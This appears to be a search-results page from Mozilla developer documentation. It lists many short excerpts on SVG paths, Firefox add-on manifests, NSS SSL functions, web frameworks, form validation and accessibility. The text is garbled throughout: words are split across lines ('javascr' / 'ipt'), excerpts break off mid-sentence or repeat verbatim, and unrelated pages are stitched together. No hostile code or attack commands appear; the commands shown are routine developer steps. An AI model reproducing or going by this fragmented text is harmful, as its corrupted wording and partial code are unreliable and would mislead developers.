ipedia. there are an infinite number of bezier curves, but only two simple ones are available in <path> elements: a cubic one, called with c, and a quadratic one, called with q. bezier curves the cubic curve, c, is the slightly more complex curve. cubic beziers take in two control points for each point. therefore, to cre...
... note: the co-ordinate deltas for q are both relative to the previous point (that is, dx and dy are not relative to dx1 and dy1). q x1 y1, x y (or) q dx1 dy1, dx dy <svg width="190" height="160" xmlns="http://www.w3.org/2000/svg"> <path d="m 10 80 q 95 10 180 80" stroke="black" fill="transparent"/> </svg> as with the cubic bezier curve, there is a shortcut for stringing together mult
iple quadratic beziers, called with t. t x y (or) t dx dy this shortcut looks at the previous control point used and infers a new one from it. this means that after the first control point, fairly complex shapes can be made by specifying only end points. this only works if the previous command was a q or a t command. if not, then the control point is assumed to be the same as the previous poi...
...And 16 more matches
Install Manifests - Archive of obsolete content
with, how it should be updated, and so on. the format of the install manifest is rdf/xml. the file must be called install.rdf and live at the top level of an add-on's xpi file. layout the basic layout of an install manifest is like so: <?xml version="1.0" encoding="utf-8"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <descr
iption about="urn:mozilla:install-manifest"> <!-- properties --> </descr
iption> </rdf> some properties are required, some are optional. some have simple string values, some are complex resources. required property reference your install manifest must specify these properties correctly otherwise your add-on may not install. id the id of the extension, which must be one of the following: ...
...l. some have simple string values, some are complex resources. required property reference your install manifest must specify these properties correctly otherwise your add-on may not install. id the id of the extension, which must be one of the following: guid (firefox 1.0) a string formatted like so: extensionname@example.org the latter format is significantly easier to generate and man
ipulate. firefox 1.5 has checking to ensure that your id falls into one format or the other and will refuse to install add-ons that have malformed ids. you should not use a real email address for your id, however, as it might attract spam. note: the id property is optional in a webextension. if you do not provide an id, the add-ons site will generate an id for your add-on automatically. examples...
...d property (<em:id>) specified (for a comprehensive list of application ids and valid min/maxversions for them see valid application versions for add-on developers), from the minimum version (<em:minversion>) up to and including the maximum version (<em:maxversion>). however, while <em:maxversion> is a required property, it is ignored unless you also set <em:strictcompatibility> in the main <descr
iption> of your install.rdf (i.e. not in <em:targetapplication>). these version strings are formatted in the same fashion as the version property and will be compared to the application version; this allows the extension author to specify which versions of firefox an extension has been tested with. id, minversion, and maxversion are all required. note: extensions compatible with firefox 3.5 shoul...
...And 15 more matches
Setting up an extension development environment - Archive of obsolete content
e of a separate user profile for development can be advantageous, averting performance degradation from development related settings, and further isolating personal data (such as bookmarks, extensions, and settings) from your testing environment. you could be running two instances of firefox simultaneously. note: for an extended guide on how to set up even more user profiles, take a look at mult
iple firefox profiles. this particularly comes in handy for the use of all currently available firefox versions. it even allows the running of simultaneous versions, at the same time. to quickly achieve our task of creating just a developer profile, we will start the application with the parameters: /path/to/firefox -no-remote -p profilename without these parameters, the default behavior of your...
...'ll see the list of available user profiles one which is default (stable) and other (unstable) profile(s) created automatically when you run other versions of firefox earlier. choose default and uncheck "don't ask at startup" checkbox. click "start firefox". now when you start any version of firefox you may choose any profile you like. development command flags as of gecko 2 (firefox 4), javascr
ipt files are cached ("fastload"). the -purgecaches command-line flag disables this behavior. alternatively, you can set the moz_purge_caches environment variable. see this bug for more information. development preferences there is a set of development preferences that, when enabled, allows you to view more information about application activity, thus making debugging easier. however, these prefe...
...options" (windows) interface. on the "advanced" page, select the "general" tab then click the "config editor" button. recommended development preferences not all preferences are defined by default, and are therefore not listed by default. you will have to create new (boolean) entries for them. for more information about mozilla preferences, refer to the mozillazine article on "about:config". t
ip: you can install either the developer profile or devprefs add-ons to handle setting these preferences automatically, and sk
ip the rest of this section. devprefs can now be found at https://github.com/noitidart/devprefs. maxversion needs to be set in install.rdf javascr
ipt.options.showinconsole = true. logs errors in chrome files to the error console. nglayout.debug.disable_xul_cache = true.
...And 15 more matches
SeaMonkey - making custom toolbar (SM ver. 1.x) - Archive of obsolete content
ustom toolbar button) you do not need any special technical skills or tools, and almost all the information you need is on this page. introduction the technique described here does not involve any hacking. instead, you make your custom button as a self-contained extension. you can use the sample code provided here to make buttons that do various useful things. if you know how to program in javascr
ipt, then you can write your own code that does other things. you can use this page if all you really want is a button for some special purpose. you can also use this page to learn about extensions, and as a starting point if you plan to write a more complex extension. note that this extension is very simplified. use other tutorials and articles to find out more--the main extensions page here is a g...
...open file... from seamonkey's menu bar). from seamonkey's menu bar, choose view - character encoding - unicode (utf-8). check that the text you typed looks ok with this setting. if your text editor does not support utf-8, search the internet for a better one that you can download. optional tools you can optionally use any image editor to customize the images. you can optionally use a jar tool or z
ip tool to package your button as a cross-platform installable (xpi) for other people to install and use. making a button there are nine easy steps. when you have completed all the steps, you will have a structure like this in the directory where you installed seamonkey: 1. go to the directory where you installed seamonkey, then go to the chrome directory there. note: for info...
...lled seamonkey: 1. go to the directory where you installed seamonkey, then go to the chrome directory there. note: for information about how to find the directory where you installed seamonkey, see: installation directory if you cannot easily find the directory, you can use the following method to find it. from seamonkey's menu bar, choose tools - web development - javascr
ipt console. copy the following code. it is one very long line ending in path--make sure that you get all of it: components.classes["@mozilla.org/file/directory_service;1"].getservice( components.interfaces.ns
iproperties).get("achrom", components.interfaces.nsifile).path in the javascr
ipt console window, paste the code in the field near the top. presss the return or enter key, or the evaluate bu...
...And 15 more matches
nsIContentPolicy - Archive of obsolete content
implementations of this interface can be used to control the loading of various types of out-of-line content, or the processing of certain types of inline content. 63 introduced gecko 1.0 inherits from: nsicontentpolicybase last changed in gecko 42 (firefox 42 / thunderbird 42 / seamonkey 2.39) you can observe content that is being loaded into your browser by implementing nsicontentpolicy. this interface can be very useful if you are developing a content-aware plugin (blocking ads or altering the look of content, for example), or if you want to stop or allow user-browsed urls. ...
...er for something).") note: in reality, much of this interface is defined in the nsicontentpolicybase interface, but for now is documented here until someone has time to split things up. ...
... something).") note: in reality, much of this interface is defined in the nsicontentpolicybase interface, but for now is documented here until someone has time to split things up. ...
...And 15 more matches
Server-side web frameworks - Learn web development
on can be stored (e.g. an email field would only allow valid email addresses). the field definitions may also specify their maximum size, default values, selection list options, help text for documentation, label text for forms etc. the model doesn't state any information about the underlying database as that is a configuration setting that may be changed separately of our code. the first code sn
ippet below shows a very simple django model for a team object. this stores the team name and team level as character fields and specifies a maximum number of characters to be stored for each record. the team_level is a choice field, so we also provide a mapping between choices to be displayed and data to be stored, along with a default value. #best/models.py from django.db import models class t...
...am_levels,default='u11') the django model provides a simple query api for searching the database. this can match against a number of fields at a time using different criteria (e.g. exact, case-insensitive, greater than, etc.), and can support complex statements (for example, you can specify a search on u11 teams that have a team name that starts with "fr" or ends with "al"). the second code sn
ippet shows a view function (resource handler) for displaying all of our u09 teams. in this case we specify that we want to filter for all records where the team_level field has exactly the text 'u09' (note below how this criteria is passed to the filter() function as an argument with field name and match type separated by double underscores: team_level__exact). #best/views.py from django.shortcut...
..._name }}), which will be replaced by values passed in from the view function when a page is rendered. the template system also provides support for expressions (with syntax: {% expression %}), which allow templates to perform simple operations like iterating list values passed into the template. note: many other templating systems use a similar syntax, e.g.: jinja2 (python), handlebars (javascr
ipt), moustache (javascr
ipt), etc. the code sn
ippet below shows how this works. continuing the "youngest team" example from the previous section, the html template is passed a list variable called youngest_teams by the view. inside the html skeleton we have an expression that first checks if the youngest_teams variable exists, and then iterates it in a for loop. on each iteration the template disp...
...And 15 more matches
Getting started with React - Learn web development
previous overview: client-side javascr
ipt frameworks next in this article we will say hello to react. we'll discover a little bit of detail about its background and use cases, set up a basic react toolchain on our local computer, and create and play with a simple starter app -- learning a bit about how react works in the process. prerequisites: familiarity with the core html, css, and javascr
ipt languages, knowledge of the terminal/command line. react uses an html-in-javascr
ipt syntax called jsx (javascr
ipt and xml). familiarity with both html and javascr
ipt will help you to learn jsx, and better identify whether bugs in your application are related to javascr
ipt or to the more specific domain of react. objective: to set up a local react devel...
...ler like babel to a website makes the code on it run slowly, so developers often set up such tooling with a build step. react arguably has a heavy tooling requirement, but it can be learned. this article is going to focus on the use case of using react to render the entire user interface of an application, using tooling provided by facebook's own create-react-app tool. how does react use javascr
ipt? react utilizes features of modern javascr
ipt for many of its patterns. its biggest departure from javascr
ipt comes with the use of jsx syntax. jsx extends javascr
ipt's syntax so that html-like code can live alongside it. for example: const heading = <h1>mozilla developer network</h1>; this heading constant is known as a jsx expression. react can use it to render that <h1> tag in our app. su...
... heading constant is known as a jsx expression. react can use it to render that <h1> tag in our app. suppose we wanted to wrap our heading in a <header> tag, for semantic reasons? the jsx approach allows us to nest our elements within each other, just like we do with html: const header = ( <header> <h1>mozilla developer network</h1> </header> ); note: the parentheses in the previous sn
ippet aren't unique to jsx, and don't have any effect on your application. they're a signal to you (and your computer) that the mult
iple lines of code inside are part of the same expression. you could just as well write the header expression like this: const header = <header> <h1>mozilla developer network</h1> </header> however, this looks kind of awkward, because the <header> tag that starts ...
...And 15 more matches
Introducing a complete toolchain - Learn web development
ilding up a sample case study toolchain. we'll go all the way from setting up a sensible development environment and putting transformation tools in place to actually deploying your app on netlify. in this article we'll introduce the case study, set up our development environment, and set up our code transformation tools. prerequisites: familiarity with the core html, css, and javascr
ipt languages. objective: to solidify what we've learnt so far by working through a complete toolchain case study. there really are unlimited combinations of tools and ways to use them, what you see in this article and the next is only one way that the featured tools can be used for a project. note: it's also worth repeating that not all of these tools need to be run on the comm...
...concerning potentially hazardous space objects that threaten our existence on earth! it looks like this: you can see a live version of the site at near-misses.netlify.com. tools used in our toolchain in this article we're going to use the following tools and features: jsx, a react-related set of syntax extensions that allow you to do things like defining component structures inside javascr
ipt. you won't need to know react to follow this tutorial, but we've included this to give you an idea of how a non-native web language could be integrated into a toolchain. the latest built-in javascr
ipt features (at time of writing), such as import. useful development tools such as prettier for formatting and eslint for linting. postcss to provide css nesting capabilities. parcel to build and ...
... -- for example it might be more complex to configure, and easier to break. conversely, the fewer links, the more resilient the toolchain is likely to be. all web projects will be different, and you need to consider what parts of your toolchain are necessary and consider each part carefully. the smallest toolchain is one that has no links at all. you would handcode the html, use "vanilla javascr
ipt" (meaning no frameworks or intermediary languages), and manually upload it all to a server for hosting. however, more complicated software requirements will likely benefit from the usage of tools to help simplify the development process. in addition, you should include tests before you deploy to your production server to ensure your software works as intended -- this already sounds like a neces...
...And 15 more matches
Accessibility API cross-reference
api's. all accessibility apis to date define a list of possible object roles, or general types, such as button, menu item, text, etc. they also define a list of possible object states, such as focused, read-only, checked, etc. an interesting problem is that mozilla, safari/khtml, opera, staroffice and other apps are cross-platform, but there is currently no cross-platform accessibility api. the
ipc mechanisms used by current generation api's are also not cross-platform, although communication for some cross-platform accessibility api of the future could be done through sockets. these tables describe how various accessibility apis define possible roles of an object, and states. all accessibility apis to date define a list of possible object roles, or general types, such as button, menu ite...
...aria live region. alert alert alert alert, alertdialog content changes over tim...
... checkbutton check_...
...And 15 more matches
Encrypt Decrypt MAC Keys As Session Objects
, v. 2.0. if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/. ...
...e, you can obtain one at http://mozilla.org/mpl/2.0/. ...
...zilla.org/mpl/2.0/. ...
...And 15 more matches
Encrypt and decrypt MAC using token
, v. 2.0. if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/. ...
...e, you can obtain one at http://mozilla.org/mpl/2.0/. ...
...zilla.org/mpl/2.0/. ...
...And 15 more matches
EncDecMAC using token object - sample 3
he mozilla public * license, v. 2.0. if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/. ...
...opy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/. ...
...tributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/. ...
...And 15 more matches
NSS functions
3.2 and later nss_setfrancepolicy mxr 3.2 and later nssssl_versioncheck mxr 3.2.1 and later ssl_authcertificate mxr 3.2 and later ssl_authcertificatehook mxr 3.2 and later ssl_badcerthook mxr 3.2 and later ssl_certdbhandleset mxr 3.2 and later ssl_canbypass mxr 3.11.7 and later ssl_c
ipherpolicyget mxr 3.2 and later ssl_c
ipherpolicyset mxr 3.2 and later ssl_c
ipherprefget mxr 3.2 and later ssl_c
ipherprefgetdefault mxr 3.2 and later ssl_c
ipherprefset mxr 3.2 and later ssl_c
ipherprefsetdefault mxr 3.2 and later ssl_clearsessioncache mxr 3.2 and later ssl_configmpserversidcache ...
...figmpserversidcache mxr 3.2 and later ssl_configsecureserver mxr 3.2 and later ssl_configserversessionidcache mxr 3.2 and later ssl_datapending mxr 3.2 and later ssl_forcehandshake mxr 3.2 and later ssl_forcehandshakewithtimeout mxr 3.11.4 and later ssl_getchannelinfo mxr 3.4 and later ssl_getc
iphersuiteinfo mxr 3.4 and later ssl_getclientauthdatahook mxr 3.2 and later ssl_getmaxservercachelocks mxr 3.4 and later ssl_getsessionid mxr 3.2 and later ssl_getstatistics mxr 3.2 and later ssl_handshakecallback mxr 3.2 and later ssl_importfd mxr 3.2 and later ssl_inheritmpserversidcache mx...
...below. each function name is linked to its entry in the old ssl reference. the mozilla cross reference (mxr) link for each function provides access to the function definition, prototype definition, and source code references. function name/documentation source code replacement in nss 3.2 ssl_enable mxr ssl_optionset ssl_enablec
ipher mxr ssl_c
ipherprefsetdefault ssl_enabledefault mxr ssl_optionsetdefault ssl_redohandshake mxr ssl_rehandshake ssl_setpolicy mxr ssl_c
ipherpolicyset certificate functions the public functions listed here are used to interact with certificate databases. if documentation is available for a...
...And 15 more matches
Rhino Debugger
the rhino javascr
ipt debugger is a gui that allows debugging of interpreted javascr
ipt scr
ipts run in rhino. note that this debugger will not work with javascr
ipt scr
ipts run in the mozilla browser since rhino is not the engine used in such environments. current limitations: no breakpoint menu using the rhino javascr
ipt debugger the mozilla rhino javascr
ipt engine includes a source-level debugger for debugging javascr
ipt scr
ipts. the debugger is itself a java program which you may run as java org.mozilla.javascr
ipt.tools.debugger.main [options] [filename.js] [scr
ipt-arguments] where the options are the same as the shell. ...
...rrent limitations: no breakpoint menu using the rhino javascr
ipt debugger the mozilla rhino javascr
ipt engine includes a source-level debugger for debugging javascr
ipt scr
ipts. the debugger is itself a java program which you may run as java org.mozilla.javascr
ipt.tools.debugger.main [options] [filename.js] [scr
ipt-arguments] where the options are the same as the shell. the rhino javascr
ipt debugger can debug scr
ipts running in mult
iple threads and provides facilities to set and clear breakpoints, control execution, view variables, and evaluate arbitrary javascr
ipt code in the current scope of an executing scr
ipt. ...
... options are the same as the shell. the rhino javascr
ipt debugger can debug scr
ipts running in mult
iple threads and provides facilities to set and clear breakpoints, control execution, view variables, and evaluate arbitrary javascr
ipt code in the current scope of an executing scr
ipt. console window the debugger redirects the system.out, system.in, and system.err streams to an internal javascr
ipt console window which provides an editable command line for you to enter javascr
ipt code and view system output. the console window maintains a history of the commands you have entered. you may move backward and forward through the history list by pressing the up/down arrow keys on the keyboard. ...
...And 15 more matches
nsIRadioInterfaceLayer
1.0 66 introduced gecko 12.0 inherits from: nsisupports last changed in gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) implemented by: @mozilla.org/telephony/system-worker-manager;1. ...
...in unsigned long long processid); void setupdatacall(in long radiotech, in domstring apn, in domstring user, in domstring passwd, in long chappap, in domstring pdptype); void starttone(in domstring dtmfchar); void stoptone(); void unregistercallback(in nsiriltelephonycallback callback); void unregisterdatacallcallback(in nsirildatacallback callback); attributes attribute type descr
iption currentstate jsval read only. obsolete since gecko 13.0 microphonemuted bool radiostate jsval read only. speakerenabled bool constants call state constants constant value descr
iption call_state_unknown 0 call_state_dialing 1 call_state_alerting 2 call_state_busy 3 call_state_connecting 4 call_state_connected 5 call_state_holding 6 call_state_hel...
...void dial( in domstring number ); parameters number missing ...
...And 15 more matches
Index
dialog that first comes up when starting thunderbird. the account provisioner gives the user the chance to search for and order a vanity email account from a list of partner providers. if the user already has an email account, the user can switch to the original account setup wizard. ...
...st of partner providers. if the user already has an email account, the user can switch to the original account setup wizard. 3 account examples extensions, thunderbird this article provides examples on accessing and man
ipulating thunderbird accounts. account interfaces provides an overview of the related interfaces. see an overview of thunderbird components for a general descr
iption of the thunderbird user interface and related programmatic interfaces. 4 account interfaces code sn
ippets, extension development, thunderbird this page contains a list of the interfaces that you'll will most likely use when writing extensions that work with email or other accounts. see account examples for examples and code sn
ippets. 5 activity manager thun...
...us bar to give the user notifications concerning what thunderbird is doing and how thunderbird has handled user requests. 6 activity manager interfaces thunderbird this page describes the programmatic interfaces behind the activity manager component. the functionality of the component is described on the activity manager page, and the activity manager examples page has code sn
ippets. see nsiactivitymanager.idl and nsiactivity.idl files for source documentation. 7 address book interfaces mailnews, mozilla, seamonkey, thunderbird this page contains a list of the interfaces that you'll will most likely hit when writing patches for the address book or writing extensions. the complete list of interfaces for the address book can be found here. address book...
...And 15 more matches
Plug-in Basics - Plugins
ho are creating new and innovative plug-ins. ...
... because plug-ins are platform-specific, you must port them to every operating system and processor platform upon which you want to deploy your plug-in. ...
... because plug-ins are platform-specific, you must port them to every operating system and processor platform upon which you want to deploy your plug-in. ...
...And 15 more matches
Waterfall - Firefox Developer Tools
so if you see a sign of a performance problem - a drop in the frame rate, for example - you can go to the waterfall to see what the browser was doing at that point in the recording. along the x-axis is time. ...
... laid out in a waterfall to reflect the serial nature of the browser's execution. when a marker is selected you'll see more information about it in a sidebar on the right. this includes the marker's duration and some more information that's specific to the marker type. markers the markers for operations are color-coded and labeled. ...
.... when a marker is selected you'll see more information about it in a sidebar on the right. this includes the marker's duration and some more information that's specific to the marker type. markers the markers for operations are color-coded and labeled. the following operations are recorded: name and descr
iption color detailed information dom event javascr
ipt code that's executed in response to a dom event. ...
...And 15 more matches
Examples of web and XML development using the DOM - Web APIs
this chapter provides some longer examples of web and xml development using the dom. wherever possible, the examples use common apis, tricks, and patterns in javascr
ipt for man
ipulating the document object. ...
...nger examples of web and xml development using the dom. wherever possible, the examples use common apis, tricks, and patterns in javascr
ipt for man
ipulating the document object. ...
...l = "<ul>"; for (var i = 0; i < arrimages.length; i++) { strhtml += "<li>image" + (i+1) + ": height=" + arrimages[i].height + ", width=" + arrimages[i].width + ", style.height=" + arrimages[i].style.height + ", style.width=" + arrimages[i].style.width + "<\/li>"; } strhtml += "<\/ul>"; objoutput.innerhtml = strhtml; } </scr
ipt> </head> <body onload="init();"> <p>image 1: no height, width, or style <img id="image1" src="https://udn.realityr
ipple.com/samples/d2/8ba7141ed1.gif"> </p> <p>image 2: height="50", width="500", but no style <img id="image2" src="https://udn.realityr
ipple.com/samples/d2/8ba7141ed1.gif" height="50" width="500"> </p> <p>image 3: no height, width, but style="height: 50px; width...
...And 15 more matches
Perceivable - Accessibility
this article provides practical advice on how to write your web content so that it conforms to the success criteria outlined in the perceivable princ
iple of the web content accessibility guidelines (wcag) 2.0 and 2.1. perceivable states that users must be able to perceive it in some way, using one or more of their senses. note: to read the w3c definitions for perceivable and its guidelines and success criteria, see princ
iple 1: perceivable - information and user interface components must be presentable to users in ways they can perceive. guideline 1.1 -- providing text alternatives for non-text content the key here is that text can be converted to other forms that people with disabilities can use. for example, it can be spoken by a screenreader, converted to large print, or rep...
...o conform to the criteria practical resource 1.1.1 provide text equivalents (a) all images that convey meaningful content should be given suitable alternative text. text alternatives. complex images or charts should have an accessible alternative provided, either on the same page or via a link. use a regular link instead of a longdesc attribute. ...
... accessible alternative provided, either on the same page or via a link. use a regular link instead of a longdesc attribute. a text descr
iption may work, or an accessible data table (see html table advanced features and accessibility). see other text alternative mechanisms for the argument against longdesc. multimedia content (i.e., audio or video) should at least have a descr
iptive identification available, such as a caption or similar. see text alternatives for static caption options, and audio transcr
ipts, video text tracks, and other multimedia content for other alternatives. ui controls such as form elements and buttons should have text labels that describe their purpose. buttons are simple--you should make sure the button text describes the ...
...And 15 more matches
Event reference
events event name fired when fullscreenchange an element was toggled to or from fullscreen mode. fullscreenerror it was impossible to switch to fullscreen mode for technical reasons or because the permission was denied. resize the document view has been resized. scroll the document view or an element has been scrolled. ...
...een mode. fullscreenerror it was impossible to switch to fullscreen mode for technical reasons or because the permission was denied. resize the document view has been resized. scroll the document view or an element has been scrolled. cl
ipboard events event name fired when cut the selection has been cut and copied to the cl
ipboard copy the selection has been copied to the cl
ipboard paste the item from the cl
ipboard has been pasted keyboard events event name fired when keydown any key is pressed keypress any key (except shift, fn, or capslock) is in a pressed position (fired continuously). keyup any key is released mouse even...
...selection. dragleave a dragged element or text selection leaves a valid drop target. dragover an element or text selection is being dragged over a valid drop target (fired continuously every 350ms). drop an element is dropped on a valid drop target. media events event name fired when audioprocess the input buffer of a scr
iptprocessornode is ready to be processed. canplay the browser can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of content. canplaythrough the browser estimates it can play the media up to its end without stopping for content buffering. complete the rendering of an o...
...And 15 more matches
Web Performance
by making the experience as available and interactive as possible, as soon as possible, while asynchronously loading in the longer tail parts of the experience. there are tools, apis, and best practices that help us measure and improve web performance. we cover them in this section: key performance guides animation performance and frame rateanimation on the web can be done via svg, javascr
ipt, including <canvas> and webgl, css animation, <video>, animated gifs and even animated pngs and other image types. the performance cost of animating a css property can vary from one property to another, and animating expensive css properties can result in jank as the browser struggles to hit a smooth frame rate.critical rendering paththe critical rendering path is the sequence of steps the brows...
...o>, animated gifs and even animated pngs and other image types. the performance cost of animating a css property can vary from one property to another, and animating expensive css properties can result in jank as the browser struggles to hit a smooth frame rate.critical rendering paththe critical rendering path is the sequence of steps the browser goes through to convert the html, css, and javascr
ipt into pixels on the screen. optimizing the critical render path improves render performance.the critical rendering path includes the document object model (dom), css object model (cssom), render tree and layout.css and javascr
ipt animation performancebrowsers are able to optimize rendering flows. in summary, we should always try to create our animations using css transitions/animations where poss...
...nder performance.the critical rendering path includes the document object model (dom), css object model (cssom), render tree and layout.css and javascr
ipt animation performancebrowsers are able to optimize rendering flows. in summary, we should always try to create our animations using css transitions/animations where possible. if your animations are really complex, you may have to rely on javascr
ipt-based animations instead.lazy loadinglazy loading is a strategy to identify resources as non-blocking (non-critical) and load these only when needed. it is a way of shorten the critical rendering path length, what would translate into improved page load times. navigation and resource timingsnavigation timings are metrics measuring a browser's document navigation events. resource timings are ...
...And 15 more matches
Localization - Archive of obsolete content
see limitations below. localized strings translated strings are kept in a directory called "locale" under your main add-on directory, one file for each locale. ...
...see limitations below. localized strings translated strings are kept in a directory called "locale" under your main add-on directory, one file for each locale. ...
...see limitations below. localized strings translated strings are kept in a directory called "locale" under your main add-on directory, one file for each locale. ...
...And 14 more matches
Chapter 4: Using XPCOM—Implementing advanced processes - Archive of obsolete content
draft this page is not complete. << previousnext >> fixme: we should include a link to the mdc list of sn
ippets fixme: we need to add a part about 'why and how to create your own component' c++/js this document was authored by hiroshi shimoda of clear code inc. and was originally published in japanese for the firefox developers conference summer 2007. mr. shimoda is a co-author of firefox 3 hacks (o'reilly japan, 2008). this chapter explains how to use xpcom to implement advanced processes using only javascr
ipt. introduction javascr
ipt lacks functions for opening files and character-code conversion, among other things. a different mechanism is needed to perform these functions. internet explorer handles this using activex; in firefox, we use the cross-platform component ...
...l to search on the source code for usage examples within firefox. note: to look at the firefox 3 source code, choose "firefox 3" in the starting points list. for firefox 3.5 choose "mozilla 1.9.1." for the current development trunk of firefox, choose "mozilla central" and for thunderbird, choose "comm. central". calling xpcom from xpconnect use the xpconnect technology to use xpcom in javascr
ipt. listing 1 shows how you can use xpconnect to acquire references to xpcom services and create new xpcom objects. each component is identified with a contract id in the form @domain_name/module_name/component_name;version_number, and implements one or more interfaces that determine what functions can be called on these components. interfaces names usually have the forms nsixxx. in order to have ...
... be called on these components. interfaces names usually have the forms nsixxx. in order to have access to the corresponding functions, it is necessary to use the component with the interface you want to use. some xpcom components are services, that means only one instance in memory. for instance, this is the case for the bookmarks component, which is actually a service. it lets you access and man
ipulate the user's bookmarks. those should be accessed with getservice(). for other components, you can create as many instances as you need. for instance, this is the case for files (nsilocalfile). those are created with createinstance(). it's important to know whether a component should be created with getservice() or createinstance(), because using one instead of the other can cause problems. li...
...And 14 more matches
The Implementation of the Application Object Model - Archive of obsolete content
nds for "extensible user interface language". it is an xml-based language for describing the contents of windows and dialogs. xul has language constructs for all of the typical dialog controls, as well as for widgets like toolbars, trees, progress bars, and menus. where html describes the contents of a single document, xul describes the contents of an entire window (which could itself contain mult
iple html documents). the html content tree structure for a single document is represented as a set of objects that can be accessed and man
ipulated. this is referred to as the dom (document object model). in a similar fashion, xul's content tree for a single window is represented as a set of objects that can be accessed and man
ipulated. this is referred to as the aom (application object model). ho...
...ow are xml dom/aom trees represented in nglayout? nglayout has its own objects for holding content trees. nsxmlelement is used to represent a single node in a content tree for an xml language. in the absence of any modifications to xul, etc., this is what would be used by default to hold the tree for a remote xul file. ...
...l file. this nsxmlelement implements a whole slew of interfaces, since raptor has mult
iple apis for referring to these objects. examples of these interfaces include nsidomelement, nsidomnode, nsixmlcontent, and nsicontent. what is rdf? rdf (pronounced r-d-f) has never been a ravening demon intent upon taking over the earth, although that does depend on who you ask. rdf stands for resource descr
iption framework, a rather intimidating name that doesn't do much to help the layman understand exactly what it does. rdf provides a very general mechanism for representing relationsh
ips between different disparate types of data. the relationsh
ips between data are represented as a directed labeled graph structure. the data itself can be fed in from any number of different sources (e.g., from a local...
...And 14 more matches
Advanced styling effects - Learn web development
second length value is the vertical offset -- the distance downwards that the shadow is offset from the original box (or upwards, if the value is negative). the third length value is the blur radius -- the amount of blurring applied to the shadow. the color value is the base color of the shadow. you can use any length and color units that would make sense to do so to define these values. ...
...-- the distance downwards that the shadow is offset from the original box (or upwards, if the value is negative). the third length value is the blur radius -- the amount of blurring applied to the shadow. the color value is the base color of the shadow. you can use any length and color units that would make sense to do so to define these values. ...
...tive). the third length value is the blur radius -- the amount of blurring applied to the shadow. the color value is the base color of the shadow. you can use any length and color units that would make sense to do so to define these values. ...
...And 14 more matches
Client-side form validation - Learn web development
re all required form controls are filled out, in the correct format. this is called client-side form validation, and helps ensure data submitted matches the requirements set forth in the various form controls. this article leads you through basic concepts and examples of client-side form validation. prerequisites: computer literacy, a reasonable understanding of html, css, and javascr
ipt. objective: to understand what client-side form validation is, why it's important, and how to apply various techniques to implement it. client-side validation is an initial check and an important feature of good user experience; by catching invalid data on the client-side, the user can fix it straight away. if it gets to the server and is then rejected, a noticeable delay is c...
...ve: to understand what client-side form validation is, why it's important, and how to apply various techniques to implement it. client-side validation is an initial check and an important feature of good user experience; by catching invalid data on the client-side, the user can fix it straight away. if it gets to the server and is then rejected, a noticeable delay is caused by a round tr
ip to the server and then back to the client-side to tell the user to fix their data. however, client-side validation should not be considered an exhaustive security measure! your apps should always perform security checks on any form-submitted data on the server-side as well as the client-side, because client-side validation is too easy to bypass, so malicious users can still easily send bad data ...
...med input on the client-side, a malicious user can still alter the network request. different types of client-side validation there are two different types of client-side validation that you'll encounter on the web: built-in form validation uses html5 form validation features, which we've discussed in many places throughout this module. this validation generally doesn't require much javascr
ipt. built-in form validation has better performance than javascr
ipt, but it is not as customizable as javascr
ipt validation. javascr
ipt validation is coded using javascr
ipt. this validation is completely customizable, but you need to create it all (or use a library). using built-in form validation one of the most significant features of html5 form controls is the ability to validate most user d...
...And 14 more matches
Componentizing our Svelte app - Learn web development
you'll need a terminal with node + npm installed to compile and build your app. objective: to learn how to break our app into components and share information among them. ...
...we started developing our todo list app. the central objective of this article is to look at how to break our app into manageable components and share information between them. we'll componentize our app, then add more functionality to allow users to update existing components. prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascr
ipt languages, and have knowledge of the terminal/command line. you'll need a terminal with node + npm installed to compile and build your app. objective: to learn how to break our app into components and share information among them. code along with us git clone the github repo (if you haven't already done it) with: git clone https://github.com/opensas/mdn-svelte-tuto...
...er to run npm install && npm run dev to start your app in development mode. repl to code along with us using the repl, start at https://svelte.dev/repl/99b9eb228b404a2f8c8959b22c0a40d3?version=3.23.2 breaking the app into components in svelte, an application is composed from one or more components. a component is a reusable, self-contained block of code that encapsulates html, css and javascr
ipt that belong together, written into a .svelte file. components can be big or small, but they are usually clearly defined: the most effective components serve a single, obvious purpose. the benefits of defining components are comparable to the more general best practice of organizing your code into manageable pieces. it will help you understand how they relate to each other, it will promote reuse...
...And 14 more matches
Getting started with Vue - Learn web development
previous overview: client-side javascr
ipt frameworks next now let's introduce vue, the third of our frameworks. in this article we'll look at a little bit of vue background, learn how to install it and create a new project, study the high-level structure of the whole project and an individual component, see how to run the project locally, and get it prepared to start building our example. prerequisites: familiarity with the core html, css, and javascr
ipt languages, knowledge of the terminal/command line. vue components are written as a combination of javascr
ipt objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure. for installation, and to use some of the more advanced features of vue (like single file ...
...x that maps to the underlying dom structure. for installation, and to use some of the more advanced features of vue (like single file components or render functions), you'll need a terminal with node + npm installed. objective: to setup a local vue development environment, create a starter app, and understand the basics of how it works. a clearer vue vue is a modern javascr
ipt framework that provides useful facilities for progressive enhancement -- unlike many other frameworks, you can use vue to enhance existing html. this lets you use vue as a drop-in replacement for a library like jquery. that being said, you can also use vue to write entire single page applications (spas). this allows you to create markup managed entirely by vue, which can improve developer exper...
...in addition to allowing you to progressively integrate vue into your applications, vue also provides a progressive approach to writing markup. like most frameworks, vue lets you create reusable blocks of markup via components. most of the time, vue components are written using a special html template syntax. when you need more control than the html syntax allows, you can write jsx or plain javascr
ipt functions to define your components. as you work through this tutorial, you might want to keep the vue guide and api documentation open in other tabs, so you can refer to them if you want more information on any sub topic. for a good (but potentially biased) comparison between vue and many of the other frameworks, see vue docs: comparison with other frameworks. installation to use vue in an...
...And 14 more matches
Command line crash course - Learn web development
